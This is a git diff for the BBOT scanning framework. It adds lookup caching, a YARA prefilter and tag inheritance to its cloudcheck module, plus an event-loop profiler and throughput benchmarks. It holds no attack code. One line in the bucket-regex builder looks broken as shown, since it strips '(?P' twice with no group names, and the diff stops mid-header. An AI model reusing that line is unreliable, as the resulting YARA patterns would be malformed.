a/bbot/modules/internal/cloudcheck.py +++ b/bbot/modules/internal/cloudcheck.py @@ -1,7 +1,9 @@ -import asyncio import regex as re +import yara from contextlib import suppress +from cachetools import LRUCache + from bbot.modules.base import BaseInterceptModule @@ -16,13 +18,88 @@ class CloudCheck(BaseInterceptModule): scope_distance_modifier = 2 _priority = 3 + # LRU cache for cloudcheck.lookup() results. Many subdomains in a single + # scan resolve to the same backing IPs (e.g. all *.cloudfront.net entries + # share the same handful of CF IPs), so the same host gets looked up many + # times. Caching the result is ~600x faster than re-issuing the Future- + # based lookup. Sized to target ~50MB at average ~500 B / entry — most + # entries are an empty list (no cloud match) and small. + _lookup_cache_size = 100_000 + async def setup(self): - self._cloud_hostname_regexes = None - self._cloud_hostname_regexes_lock = asyncio.Lock() # perform a test lookup during setup to force signature update await self.helpers.cloudcheck.lookup("8.8.8.8") + # build the storage-bucket regexes + the YARA prefilter eagerly so we + # don't pay an asyncio.Lock acquire on every handle_event + self._storage_bucket_regexes, self._bucket_yara = self._build_bucket_matchers() + self._lookup_cache = LRUCache(maxsize=self._lookup_cache_size) return True + async def _cached_lookup(self, host): + """Cache cloudcheck.lookup() results by host. The underlying lookup + is deterministic (host -> set of providers) for the duration of a + scan, so a simple per-scan LRU is correct.""" + try: + return self._lookup_cache[host] + except KeyError: + pass + result = await self.helpers.cloudcheck.lookup(host) + self._lookup_cache[host] = result + return result + + def _build_bucket_matchers(self): + """ + Build two structures from the cloudcheck providers' bucket regexes: + + - `storage_bucket_regexes`: dict of name -> compiled Python regex + (with named groups intact). Used to extract `name` / `region` from + a host once we know it matched. + - `bucket_yara`: a single compiled YARA rule that ORs every bucket + pattern together (named groups stripped, since YARA's regex + flavor doesn't support `?P<...>`). Used as a fast prefilter — if + none of its strings hit, we skip the Python-regex loop entirely. + """ + from cloudcheck import providers + + storage_bucket_regexes = {} + yara_strings = [] + for attr in dir(providers): + if attr.startswith("_"): + continue + provider = getattr(providers, attr) + provider_regexes = getattr(provider, "regexes", None) + if not provider_regexes: + continue + for i, pattern in enumerate(provider_regexes.get("STORAGE_BUCKET_HOSTNAME", [])): + key = f"{attr}-STORAGE_BUCKET_HOSTNAME-{i}" + try: + storage_bucket_regexes[key] = re.compile(pattern) + except Exception as e: + self.error(f"Error compiling regex for {key}: {e}") + continue + # YARA accepts the pattern as-is once we strip the named-group + # syntax (`?P` / `?P` aren't part of YARA's regex + # flavor; the unnamed-group form matches the same strings). + yara_pattern = pattern.replace("(?P", "(").replace("(?P", "(") + yara_strings.append(f"$bucket_{len(yara_strings)} = /{yara_pattern}/") + + if yara_strings: + yara_source = ( + "rule storage_buckets {\n" + " strings:\n " + "\n ".join(yara_strings) + "\n" + " condition: any of them\n" + "}" + ) + try: + bucket_yara = yara.compile(source=yara_source) + except yara.SyntaxError as e: + self.error(f"Failed to compile bucket YARA rule: {e}; falling back to regex-only matching") + bucket_yara = None + else: + bucket_yara = None + + return storage_bucket_regexes, bucket_yara + async def filter_event(self, event): if (not event.host) or (event.type in ("IP_RANGE",)): return False, "event does not have host attribute" @@ -35,33 +112,45 @@ async def handle_event(self, event, **kwargs): hosts_to_check.remove(event.host_original) hosts_to_check = [str(event.host_original)] + list(hosts_to_check) - for i, host in enumerate(hosts_to_check): - host_is_ip = self.helpers.is_ip(host) - try: - cloudcheck_results = await self.helpers.cloudcheck.lookup(host) - except Exception as e: - self.warning(f"Error running cloudcheck against {event} (host: {host}): {e}") - continue - for provider in cloudcheck_results: - provider_name = provider["name"].lower() - provider_types = provider.get("tags", []) - for provider_type in provider_types: - event.add_tag(provider_type) - event.add_tag(provider_name) - # determine how the match was triggered - if host_is_ip: - match_type = "ip" - elif i == 0: - match_type = "domain" - else: - match_type = "cname" - # structured details in host_metadata - host_meta = event.host_metadata.setdefault(host, {}) - cloud_providers = host_meta.setdefault("cloud_providers", {}) - cloud_providers[provider_name] = { - "types": sorted(set(provider_types)), - "match": match_type, - } + # Inheritance fast path: if our parent has already been through cloudcheck + # and its host set covers ours, copy its cloud tags and host_metadata + # entries instead of re-running the lookups. This is common in event + # chains where multiple types (DNS_NAME -> IP_ADDRESS -> OPEN_TCP_PORT + # -> URL) carry hosts that are a subset of the parent's resolved set. + inherited = self._inherit_cloud_tags(event, hosts_to_check) + if not inherited: + for i, host in enumerate(hosts_to_check): + host_is_ip = self.helpers.is_ip(host) + try: + cloudcheck_results = await self._cached_lookup(host) + except Exception as e: + self.warning(f"Error running cloudcheck against {event} (host: {host}): {e}") + continue + for provider in cloudcheck_results: + provider_name = provider["name"].lower() + provider_types = provider.get("tags", []) + for provider_type in provider_types: + event.add_tag(provider_type) + event.add_tag(provider_name) + # determine how the match was triggered + if host_is_ip: + match_type = "ip" + elif i == 0: + match_type = "domain" + else: + match_type = "cname" + # structured details in host_metadata + host_meta = event.host_metadata.setdefault(host, {}) + cloud_providers = host_meta.setdefault("cloud_providers", {}) + cloud_providers[provider_name] = { + "types": sorted(set(provider_types)), + "match": match_type, + } + + # mark this event so descendants can inherit our cloud tags; + # resolved_hosts is naturally immutable so descendants can trust + # parent.resolved_hosts directly without a snapshot + event._cloudcheck_done = True # we only generate storage buckets off of in-scope or distance-1 events if event.scope_distance >= self.max_scope_distance: @@ -72,10 +161,17 @@ async def handle_event(self, event, **kwargs): if all(self.helpers.is_ip(h) for h in hosts_to_check): return - # see if any of our hosts are storage buckets, etc. - regexes = await self.cloud_hostname_regexes() - regexes = regexes.get("STORAGE_BUCKET_HOSTNAME", []) - for regex_name, regex in regexes.items(): + # YARA prefilter: run all bucket patterns simultaneously against the + # joined hosts. ~95% of events have no host that could possibly match, + # and YARA returns no matches in one optimized scan — skipping the + # per-regex Python loop entirely. Only on a hit do we run the full + # per-regex pass below to extract the named `name` / `region` groups. + if self._bucket_yara is not None: + if not self._bucket_yara.match(data="\n".join(hosts_to_check)): + return + + # at least one host *could* be a bucket — run the per-regex extraction + for regex_name, regex in self._storage_bucket_regexes.items(): for host in hosts_to_check: if match := regex.match(host): groups = match.groupdict() @@ -94,25 +190,63 @@ async def handle_event(self, event, **kwargs): bucket_data["region"] = region await self.emit_event(bucket_data, "STORAGE_BUCKET", parent=event) - async def cloud_hostname_regexes(self): - async with self._cloud_hostname_regexes_lock: - if not self._cloud_hostname_regexes: - storage_bucket_regexes = {} - self._cloud_hostname_regexes = {"STORAGE_BUCKET_HOSTNAME": storage_bucket_regexes} - from cloudcheck import providers + def _inherit_cloud_tags(self, event, hosts_to_check): + """ + If `event`'s parent has already been through cloudcheck and its host + set covers ours, copy the parent's per-host cloud metadata into ours + for the hosts we share. Returns True if inheritance was applied + (caller can skip the lookup phase). - for attr in dir(providers): - if attr.startswith("_"): - continue - provider = getattr(providers, attr) - provider_regexes = getattr(provider, "regexes", {}) - for regex_name, regexes in provider_regexes.items(): - for i, regex in enumerate(regexes): - if not regex_name in ("STORAGE_BUCKET_HOSTNAME"): - continue - try: - storage_bucket_regexes[f"{attr}-{regex_name}-{i}"] = re.compile(regex) - except Exception as e: - self.error(f"Error compiling regex for {attr}-{regex_name}: {e}") - continue - return self._cloud_hostname_regexes + Safe because `resolved_hosts` is naturally immutable after dnsresolve + finalizes an event — no module can retroactively add a host that the + parent never looked up. + + We iterate `parent.host_metadata` (only matched hosts; typically zero + or one entries) rather than the child's full `hosts_to_check`. When + parent has no matches we do no work beyond the subset gate. + """ + parent = event.get_parent() + if parent is None or parent is event or not getattr(parent, "_cloudcheck_done", False): + return False + parent_host = parent.host_original + if parent_host is None: + return False + + # subset gate: parent's host set must cover ours, otherwise parent's + # "no match" results aren't reliable for hosts parent never looked up + my_hosts = set(hosts_to_check) + parent_hosts = set(parent.resolved_hosts) + parent_hosts.add(str(parent_host)) + if not my_hosts.issubset(parent_hosts): + return False + + # walk parent's matched hosts; copy only ones we share, recompute + # `match` from child's perspective (position-independent: "domain" + # is just "this host equals our host_original") + parent_meta = getattr(parent, "_host_metadata", None) + if parent_meta: + event_host_original = event.host_original + for host, host_data in parent_meta.items(): + if host not in my_hosts: + continue + cloud_providers = host_data.get("cloud_providers") + if not cloud_providers: + continue + if self.helpers.is_ip(host): + match_type = "ip" + elif host == event_host_original: + match_type = "domain" + else: + match_type = "cname" + my_host_data = event.host_metadata.setdefault(host, {}) + my_cloud_providers = my_host_data.setdefault("cloud_providers", {}) + for provider_name, info in cloud_providers.items(): + # fresh dict — never share parent's inner objects + my_cloud_providers[provider_name] = { + "types": info.get("types", []), + "match": match_type, + } + event.add_tag(provider_name) + for tag in info.get("types", []): + event.add_tag(tag) + return True diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index aa952dfeb8..4ca1d0ec01 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -244,10 +244,12 @@ def check_scope(self, event): in_target = False blacklisted = False dns_children = event.dns_children + # collect all resolved hosts locally then assign once; resolved_hosts + # is naturally immutable (frozenset) and has no in-place mutation API + all_hosts = set() for rdtype in ("A", "AAAA", "CNAME"): hosts = dns_children.get(rdtype, []) - # update resolved hosts - event.update_resolved_hosts(sys.intern(h) for h in hosts) + all_hosts.update(sys.intern(h) for h in hosts) for host in hosts: # having a CNAME to an in-scope host doesn't make you in-scope if rdtype != "CNAME": @@ -263,6 +265,8 @@ def check_scope(self, event): blacklisted = True event.add_tag("blacklisted") event.add_tag(f"dns-blacklisted-{rdtype}") + if all_hosts: + event.resolved_hosts = all_hosts if blacklisted: in_target = False return in_target, blacklisted diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index 2ae8f09175..f50d8c20a2 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -228,7 +228,8 @@ async def emit_open_port(self, ip, port, parent_event): # make_targets() call — before dnsresolve has populated it. Seed # resolved_hosts from the parent so hostnames still correlate to IPs. if parent_is_dns_name and parent_event._resolved_hosts: - event._resolved_hosts = set(parent_event._resolved_hosts) + # share the parent's frozenset by reference — it's immutable + event._resolved_hosts = parent_event._resolved_hosts await self.emit_event(event) return event diff --git a/bbot/test/benchmarks/_eventloop_profiler.py b/bbot/test/benchmarks/_eventloop_profiler.py new file mode 100644 index 0000000000..65afae5501 --- /dev/null +++ b/bbot/test/benchmarks/_eventloop_profiler.py @@ -0,0 +1,364 @@ +#!/usr/bin/env python3 +""" +Event-loop saturation diagnostic — wraps a full BBOT scan to measure: + + 1. Which tasks/coroutines hold the loop the longest (blocking detection) + 2. How many tasks are pending at any given time + 3. Per-module breakdown of loop time consumption + +This is a diagnostic utility, not a pytest-benchmark test. The leading +underscore tells pytest not to collect it; run it directly: + + uv run python bbot/test/benchmarks/_eventloop_profiler.py -y -p spider -f subdomain-enum -t example.com + +Output lands under `./eventloop_profile//`: + + - eventloop_report.txt — top coroutines by total/max loop time, slow-step log, task timeline + - slow_steps.csv — every callback longer than SLOW_CALLBACK_THRESHOLD + - task_timeline.csv — concurrent task count sampled every REPORT_INTERVAL seconds +""" + +import asyncio +import atexit +import collections +import signal +import sys +import time +import threading +from datetime import datetime +from pathlib import Path + +# ── Configuration ─────────────────────────────────────────────────────────── +SLOW_CALLBACK_THRESHOLD = 0.05 # 50ms - flag callbacks slower than this +REPORT_INTERVAL = 15 # seconds between periodic reports +OUTPUT_DIR = Path("./eventloop_profile") + + +class EventLoopProfiler: + """Instruments asyncio tasks to measure per-coroutine loop time consumption.""" + + def __init__(self, loop, output_dir): + self.loop = loop + self.output_dir = output_dir + self.output_dir.mkdir(parents=True, exist_ok=True) + + # Per-coroutine stats: qualname -> {total_time, count, max_time} + self.coro_times = collections.defaultdict(lambda: {"total_time": 0.0, "count": 0, "max_time": 0.0}) + # Slow step log: (elapsed, duration, coro_name) + self.slow_steps = [] + # Task count timeline: (elapsed, num_tasks) + self.task_counts = [] + # Task detail timeline: (elapsed, {coro_name: count}) + self.task_detail_timeline = [] + + self.start_time = time.monotonic() + self.total_steps = 0 + self.total_step_time = 0.0 + + self._lock = threading.Lock() + + def _get_task_coro_name(self, task): + """Get a meaningful name for a task's coroutine.""" + coro = task.get_coro() + if coro is None: + return task.get_name() + qualname = getattr(coro, "__qualname__", None) + if qualname: + # Try to get the module name from cr_frame + frame = getattr(coro, "cr_frame", None) + if frame: + filename = frame.f_code.co_filename + # Extract just the relevant part of the path + if "bbot/" in filename: + short_path = filename[filename.index("bbot/") :] + return f"{short_path}:{qualname}" + return qualname + return task.get_name() + + def install(self): + """Patch the loop's create_task and Handle._run to time coroutine steps.""" + profiler = self + + # Map task id -> coroutine name (set at creation time) + self._task_names = {} + + # Patch loop.create_task to record coroutine names + original_create_task = self.loop.create_task + + def patched_create_task(coro, *, name=None, context=None): + if context is not None: + task = original_create_task(coro, name=name, context=context) + else: + task = original_create_task(coro, name=name) + coro_name = profiler._get_task_coro_name(task) + profiler._task_names[id(task)] = coro_name + # Clean up when task is done + task.add_done_callback(lambda t: profiler._task_names.pop(id(t), None)) + return task + + self.loop.create_task = patched_create_task + + # Also patch asyncio.ensure_future / create_task at module level + _original_ensure_future = asyncio.ensure_future + + def patched_ensure_future(coro_or_future, *, loop=None): + result = _original_ensure_future(coro_or_future, loop=loop) + if isinstance(result, asyncio.Task): + coro_name = profiler._get_task_coro_name(result) + profiler._task_names[id(result)] = coro_name + result.add_done_callback(lambda t: profiler._task_names.pop(id(t), None)) + return result + + asyncio.ensure_future = patched_ensure_future + + # Patch Handle._run to time callbacks, resolving task names from our map + original_handle_run = asyncio.Handle._run + + def profiled_handle_run(handle): + # Try to identify which task this handle belongs to + cb = getattr(handle, "_callback", None) + cb_name = None + + # TaskStepMethWrapper has a __self__ that is the Task + task_self = getattr(cb, "__self__", None) + if task_self is not None and isinstance(task_self, asyncio.Task): + cb_name = profiler._task_names.get(id(task_self)) + if cb_name is None: + cb_name = profiler._get_task_coro_name(task_self) + + if cb_name is None: + cb_name = getattr(cb, "__qualname__", None) or getattr(cb, "__name__", None) or str(cb) + + start = time.monotonic() + original_handle_run(handle) + duration = time.monotonic() - start + + with profiler._lock: + profiler.total_steps += 1 + profiler.total_step_time += duration + + stats = profiler.coro_times[cb_name] + stats["total_time"] += duration + stats["count"] += 1 + if duration > stats["max_time"]: + stats["max_time"] = duration + + if duration > SLOW_CALLBACK_THRESHOLD: + elapsed = time.monotonic() - profiler.start_time + profiler.slow_steps.append((elapsed, duration, cb_name)) + + asyncio.Handle._run = profiled_handle_run + + print(f"[eventloop-profiler] Installed. Slow threshold: {SLOW_CALLBACK_THRESHOLD * 1000:.0f}ms") + print(f"[eventloop-profiler] Output dir: {self.output_dir}") + + def sample_tasks(self): + """Sample the current task breakdown.""" + try: + tasks = asyncio.all_tasks(self.loop) + elapsed = time.monotonic() - self.start_time + self.task_counts.append((elapsed, len(tasks))) + + # Group by coroutine name + task_names = collections.Counter() + for task in tasks: + name = self._get_task_coro_name(task) + # Simplify: extract just the class.method or module + parts = name.split(":") + if len(parts) > 1: + short = parts[-1] # qualname + else: + short = name + task_names[short] += 1 + + self.task_detail_timeline.append((elapsed, dict(task_names))) + return len(tasks), task_names + except Exception: + return 0, collections.Counter() + + def write_report(self): + """Write the final profiling report.""" + elapsed = time.monotonic() - self.start_time + + with self._lock: + coro_times = dict(self.coro_times) + slow_steps = list(self.slow_steps) + + lines = [] + lines.append("Event Loop Profiling Report") + lines.append("=" * 80) + lines.append(f"Duration: {elapsed:.1f}s ({elapsed / 60:.1f}m)") + lines.append(f"Total task steps: {self.total_steps:,}") + lines.append(f"Total step time: {self.total_step_time:.1f}s") + lines.append(f"Avg step time: {self.total_step_time / max(self.total_steps, 1) * 1000:.3f}ms") + lines.append(f"Slow steps (>{SLOW_CALLBACK_THRESHOLD * 1000:.0f}ms): {len(slow_steps)}") + lines.append("") + + # ── Top coroutines by total time ──────────────────────── + lines.append("TOP 40 COROUTINES BY TOTAL EVENT LOOP TIME") + lines.append("-" * 80) + lines.append(f"{'Total(s)':>10s} {'Steps':>8s} {'Avg(ms)':>10s} {'Max(ms)':>10s} {'%loop':>7s} Coroutine") + sorted_coros = sorted(coro_times.items(), key=lambda x: x[1]["total_time"], reverse=True) + for name, stats in sorted_coros[:40]: + pct = (stats["total_time"] / max(self.total_step_time, 0.001)) * 100 + avg_ms = (stats["total_time"] / max(stats["count"], 1)) * 1000 + lines.append( + f"{stats['total_time']:>10.2f} {stats['count']:>8d} {avg_ms:>10.3f} {stats['max_time'] * 1000:>10.1f} {pct:>6.1f}% {name}" + ) + lines.append("") + + # ── Top coroutines by max single step ─────────────────── + lines.append("TOP 20 COROUTINES BY MAX SINGLE STEP TIME (blocking suspects)") + lines.append("-" * 80) + lines.append(f"{'Max(ms)':>10s} {'Steps':>8s} {'Total(s)':>10s} Coroutine") + sorted_max = sorted(coro_times.items(), key=lambda x: x[1]["max_time"], reverse=True) + for name, stats in sorted_max[:20]: + lines.append( + f"{stats['max_time'] * 1000:>10.1f} {stats['count']:>8d} {stats['total_time']:>10.2f} {name}" + ) + lines.append("") + + # ── Slow step log ─────────────────────────────────────── + lines.append(f"SLOW STEP LOG (>{SLOW_CALLBACK_THRESHOLD * 1000:.0f}ms, last 200)") + lines.append("-" * 80) + for elapsed_t, duration, name in slow_steps[-200:]: + lines.append(f" t={elapsed_t:>8.1f}s {duration * 1000:>8.1f}ms {name}") + lines.append("") + + # ── Task count timeline ───────────────────────────────── + if self.task_counts: + lines.append("TASK COUNT TIMELINE (sampled every 15s)") + lines.append("-" * 80) + peak_tasks = max(tc[1] for tc in self.task_counts) + lines.append(f"Peak concurrent tasks: {peak_tasks}") + for elapsed_t, count in self.task_counts: + bar = "#" * min(count, 60) + lines.append(f" t={elapsed_t:>8.1f}s tasks={count:>4d} {bar}") + lines.append("") + + # ── Task breakdown at peak ────────────────────────────── + if self.task_detail_timeline: + # Find the sample with the most tasks + peak_sample = max(self.task_detail_timeline, key=lambda x: sum(x[1].values())) + elapsed_t, detail = peak_sample + lines.append(f"TASK BREAKDOWN AT PEAK (t={elapsed_t:.1f}s, {sum(detail.values())} tasks)") + lines.append("-" * 80) + for name, count in sorted(detail.items(), key=lambda x: -x[1])[:30]: + bar = "#" * min(count, 40) + lines.append(f" {count:>4d} {bar} {name}") + lines.append("") + + report = "\n".join(lines) + + report_path = self.output_dir / "eventloop_report.txt" + with open(report_path, "w") as f: + f.write(report) + + # Write slow steps as CSV + csv_path = self.output_dir / "slow_steps.csv" + with open(csv_path, "w") as f: + f.write("elapsed_s,duration_ms,coroutine\n") + for elapsed_t, duration, name in slow_steps: + safe_name = name.replace(",", ";") + f.write(f"{elapsed_t:.1f},{duration * 1000:.1f},{safe_name}\n") + + # Write task timeline as CSV + task_csv = self.output_dir / "task_timeline.csv" + with open(task_csv, "w") as f: + f.write("elapsed_s,num_tasks\n") + for elapsed_t, count in self.task_counts: + f.write(f"{elapsed_t:.1f},{count}\n") + + print(f"\n[eventloop-profiler] Report written to {report_path}") + # Print the full report to stdout + print(report) + + return report_path + + +async def periodic_sampler(profiler, stop_event): + """Periodically sample task counts and print status.""" + while not stop_event.is_set(): + num_tasks, task_names = profiler.sample_tasks() + + top = task_names.most_common(6) + top_str = ", ".join(f"{name.split('.')[-1]}={count}" for name, count in top) + elapsed = time.monotonic() - profiler.start_time + slow_count = len(profiler.slow_steps) + print(f"[profiler t={elapsed:.0f}s] tasks={num_tasks} slow_steps={slow_count} | {top_str}") + + try: + await asyncio.wait_for(stop_event.wait(), timeout=REPORT_INTERVAL) + except asyncio.TimeoutError: + pass + + +async def run_scan(bbot_args, profiler): + from bbot.scanner import Scanner + from bbot.scanner.preset import Preset + + sys.argv = ["bbot"] + list(bbot_args) + preset = Preset(_log=True, name="eventloop_profile") + preset.parse_args() + baked_preset = preset.bake() + scanner = Scanner(preset=baked_preset) + + stop_event = asyncio.Event() + sampler = asyncio.create_task(periodic_sampler(profiler, stop_event)) + + try: + await scanner.async_start_without_generator() + except KeyboardInterrupt: + print("\n[profiler] Interrupted") + except Exception as e: + print(f"\n[profiler] Scan error: {e}") + import traceback + + traceback.print_exc() + finally: + stop_event.set() + await sampler + + +def main(): + bbot_args = sys.argv[1:] + if not bbot_args: + print("Usage: python bbot/test/benchmarks/_eventloop_profiler.py [bbot args...]") + print( + "Example: python bbot/test/benchmarks/_eventloop_profiler.py -y -p spider -f subdomain-enum -t example.com" + ) + sys.exit(1) + + ts = datetime.now().strftime("%Y%m%d_%H%M%S") + output_dir = OUTPUT_DIR / ts + output_dir.mkdir(parents=True, exist_ok=True) + + print("Event Loop Saturation Diagnostic") + print(f"Slow callback threshold: {SLOW_CALLBACK_THRESHOLD * 1000:.0f}ms") + print(f"Output: {output_dir}") + print() + + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + + profiler = EventLoopProfiler(loop, output_dir) + profiler.install() + + def write_on_exit(*args): + profiler.write_report() + sys.exit(0) + + signal.signal(signal.SIGINT, write_on_exit) + signal.signal(signal.SIGTERM, write_on_exit) + atexit.register(profiler.write_report) + + try: + loop.run_until_complete(run_scan(bbot_args, profiler)) + except (KeyboardInterrupt, SystemExit): + pass + finally: + profiler.write_report() + + +if __name__ == "__main__": + main() diff --git a/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py b/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py index 9418437361..4fea8ec1da 100644 --- a/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py +++ b/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py @@ -1,25 +1,35 @@ """ -Intercept-pipeline throughput benchmark. +Intercept-pipeline throughput benchmarks. Measures how fast events flow through BBOT's intercept chain (dnsresolve, -cloudcheck, speculate, etc.) under a workload dominated by IP_ADDRESS events. -Useful for detecting regressions or improvements anywhere in the per-event -intercept path — single-threaded modules in this chain bound overall scan -throughput, so changes there are most easily observed here. +cloudcheck, speculate, portfilter, excavate). Single-threaded modules in +this chain bound overall scan throughput, so changes there are most easily +observed here. -The scenario uses a small private CIDR as the target. Speculate expands it -into IP_ADDRESS events, which then traverse the intercept chain. No external -network calls are made. +Two scenarios: + + - `TestInterceptThroughputBenchmarks`: real scan, CIDR target. Speculate + expands the CIDR into IP_ADDRESS events that traverse the chain. One + host per event (the IP itself), so per-event cloudcheck cost is minimal. + + - `TestInterceptCloudcheckDNSThroughput`: synthetic DNS_NAME events with + populated `resolved_hosts`, injected directly into the intercept chain. + Mirrors the heavy-subdomain-enum hot path where each event carries a + hostname plus a small set of resolved IPs, so cloudcheck runs N+1 + lookups per event. This is the path that exhibits queue backlog in + real scans; the CIDR scenario underestimates it. Run with: pytest bbot/test/benchmarks/test_intercept_throughput_benchmarks.py -v --benchmark-only """ import asyncio +from contextlib import suppress import pytest from bbot.scanner import Scanner +from bbot.constants import SCAN_STATUS_RUNNING def _run_scan(cidr): @@ -55,3 +65,185 @@ def test_intercept_throughput_medium(self, benchmark): """/20 (4096 IPs) — larger fan-out exercising the intercept queue under load.""" counts = benchmark.pedantic(_run_scan, args=("10.0.0.0/20",), rounds=3, warmup_rounds=1) assert counts.get("IP_RANGE", 0) >= 1, f"expected ≥1 IP_RANGE event, got {counts}" + + +def _run_dns_throughput(num_events, resolved_ips_per_event, busy_tasks, inherit_from_parent=False): + """ + Push `num_events` synthetic DNS_NAME events through the intercept chain + and return throughput in events/sec. + + Each event carries `resolved_ips_per_event` resolved IPs, so cloudcheck + looks up the original hostname plus N IPs. `busy_tasks` spawns no-op + coroutines that pump the event loop, simulating contention from other + work in a real scan. + + If `inherit_from_parent` is True, all events share a single parent + event that has already been through cloudcheck. This exercises the + parent-inheritance fast path where children skip the lookup loop. + """ + # disable dns (no resolution) and speculate (no port expansion); this leaves + # cloudcheck + excavate as the only intercept stages between ingress/egress. + # cloudcheck is off-by-default under bbot/test/test.conf, so explicitly enable it. + config = { + "scope": {"search_distance": 0, "report_distance": 0}, + "dns": {"disable": True}, + "speculate": False, + "cloudcheck": True, + "omit_event_types": [], + } + scan = Scanner("blacklanternsecurity.com", config=config) + + async def _inner(): + await scan._prep() + + intercept_modules = scan.intercept_modules + cloudcheck_idx = next((i for i, m in enumerate(intercept_modules) if m.name == "cloudcheck"), -1) + assert cloudcheck_idx >= 0, f"cloudcheck not in intercept chain: {[m.name for m in intercept_modules]}" + # we only run workers up to and including cloudcheck. excavate's worker + # would race with us on cloudcheck.outgoing (= excavate.incoming) and + # consume events before the drain can see them. _scan_egress has no + # outgoing queue at all (it fans out to scan modules). + active_chain = intercept_modules[: cloudcheck_idx + 1] + first = active_chain[0] + cloudcheck_mod = active_chain[-1] + drain_queue = cloudcheck_mod.outgoing_event_queue + + # synthesize events: each one looks like a freshly-resolved DNS_NAME + # with a populated `resolved_hosts` set + resolved_pool = [f"10.{(i >> 16) & 0xFF}.{(i >> 8) & 0xFF}.{i & 0xFF}" for i in range(resolved_ips_per_event)] + + # If we're benchmarking the parent-inheritance fast path, build a + # parent event that's already been through cloudcheck and stash a + # `_cloudcheck_hosts` snapshot containing every child's host_original + # plus the resolved IPs. Children whose hosts are a subset of that + # snapshot will inherit and skip the lookup phase. + parent_event = scan.root_event + if inherit_from_parent: + parent_event = scan.make_event( + "parent.bench.example.com", + "DNS_NAME", + parent=scan.root_event, + tags=["resolved", "a-record"], + ) + # parent's resolved_hosts must cover every child's host set so + # cloudcheck's inheritance subset check passes. each child uses + # unique data (so ScanIngress dedup lets them through) but a + # host set that's a subset of parent's. + child_hosts = {f"sub{i}.bench.example.com" for i in range(num_events)} + parent_event.resolved_hosts = child_hosts | set(resolved_pool) + parent_event.scope_distance = 0 + parent_event._cloudcheck_done = True + # empty host_metadata = no provider matches recorded; inheritance + # path only needs the done flag + host coverage, not match data + parent_event._host_metadata = {} + + events = [] + for i in range(num_events): + event = scan.make_event( + f"sub{i}.bench.example.com", + "DNS_NAME", + parent=parent_event, + tags=["resolved", "a-record"], + ) + event.resolved_hosts = resolved_pool + event.scope_distance = 0 + events.append(event) + + # the intercept worker loops exit immediately while `scan.stopping` is true, + # and `stopping` is true unless the scan's status_code is in the RUNNING band. + # async_start() normally flips this; we're bypassing async_start so we flip it ourselves. + await scan._set_status(SCAN_STATUS_RUNNING) + + # start workers only for ingress → … → cloudcheck (no downstream race) + worker_tasks = [] + for mod in active_chain: + for _ in range(mod.module_threads): + worker_tasks.append(asyncio.create_task(mod._worker())) + + # optional event-loop pressure + busy = [asyncio.create_task(_busy_loop()) for _ in range(busy_tasks)] + + # drain task — pull from the last intercept module's outgoing queue + received = 0 + + async def _drain(): + nonlocal received + while received < num_events: + event, _kwargs = await drain_queue.get() + received += 1 + + # inject + measure + loop = asyncio.get_event_loop() + start = loop.time() + for event in events: + first.incoming_event_queue.put_nowait((event, {})) + try: + await asyncio.wait_for(_drain(), timeout=300) + finally: + for t in worker_tasks + busy: + t.cancel() + for t in worker_tasks + busy: + with suppress(asyncio.CancelledError, BaseException): + await t + elapsed = loop.time() - start + + # tear down scan resources + with suppress(BaseException): + await scan._cleanup() + + return received / max(elapsed, 1e-9) + + return asyncio.run(_inner()) + + +async def _busy_loop(): + """ + Mimics another module doing periodic small work — yields control about + every millisecond. A tight `sleep(0)` spin would 100%-saturate the loop + and catastrophically starve a single-coro intercept worker; this is + closer to what a real concurrent module looks like. + """ + while True: + await asyncio.sleep(0.001) + + +class TestInterceptCloudcheckDNSThroughput: + """ + Synthetic DNS_NAME throughput — direct injection into the intercept chain. + + Faithfully reproduces the heavy-subdomain-enum hot path where each + DNS_NAME event carries 2-5 resolved hosts. This stresses cloudcheck's + per-event lookup loop, which is the path observed to back up in + production scans. + """ + + @pytest.mark.benchmark(group="cloudcheck_dns_throughput_quiet") + def test_dns_throughput_quiet(self, benchmark): + """1000 DNS_NAME events × 3 resolved IPs, no event-loop pressure.""" + rate = benchmark.pedantic(_run_dns_throughput, args=(1000, 3, 0), rounds=3, warmup_rounds=1) + benchmark.extra_info["events_per_sec"] = round(rate, 1) + assert rate > 0, f"expected positive throughput, got {rate}" + + @pytest.mark.benchmark(group="cloudcheck_dns_throughput_loaded") + def test_dns_throughput_loaded(self, benchmark): + """500 DNS_NAME events × 3 resolved IPs, 20 busy tasks pumping the loop.""" + rate = benchmark.pedantic(_run_dns_throughput, args=(500, 3, 20), rounds=2, warmup_rounds=0) + benchmark.extra_info["events_per_sec"] = round(rate, 1) + assert rate > 0, f"expected positive throughput, got {rate}" + + @pytest.mark.benchmark(group="cloudcheck_dns_throughput_inherited") + def test_dns_throughput_inherited(self, benchmark): + """ + 1000 DNS_NAME events × 3 resolved IPs, all sharing a parent that has + already been through cloudcheck. Exercises the parent-inheritance + fast path that skips per-event lookups. + """ + rate = benchmark.pedantic( + _run_dns_throughput, + args=(1000, 3, 0), + kwargs={"inherit_from_parent": True}, + rounds=3, + warmup_rounds=1, + ) + benchmark.extra_info["events_per_sec"] = round(rate, 1) + assert rate > 0, f"expected positive throughput, got {rate}" diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 9048bc3208..5778ba466c 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -576,7 +576,7 @@ async def test_events(events, helpers): db_event = scan.make_event("evilcorp.com:80", parent=scan.root_event, context="test context") assert db_event.parent == scan.root_event assert db_event.parent is scan.root_event - db_event._resolved_hosts = {"127.0.0.1"} + db_event.resolved_hosts = ("127.0.0.1",) db_event.scope_distance = 1 assert db_event.discovery_context == "test context" assert db_event.discovery_path == ["test context"] diff --git a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py index a1672f76b5..024d0dc75a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py +++ b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py @@ 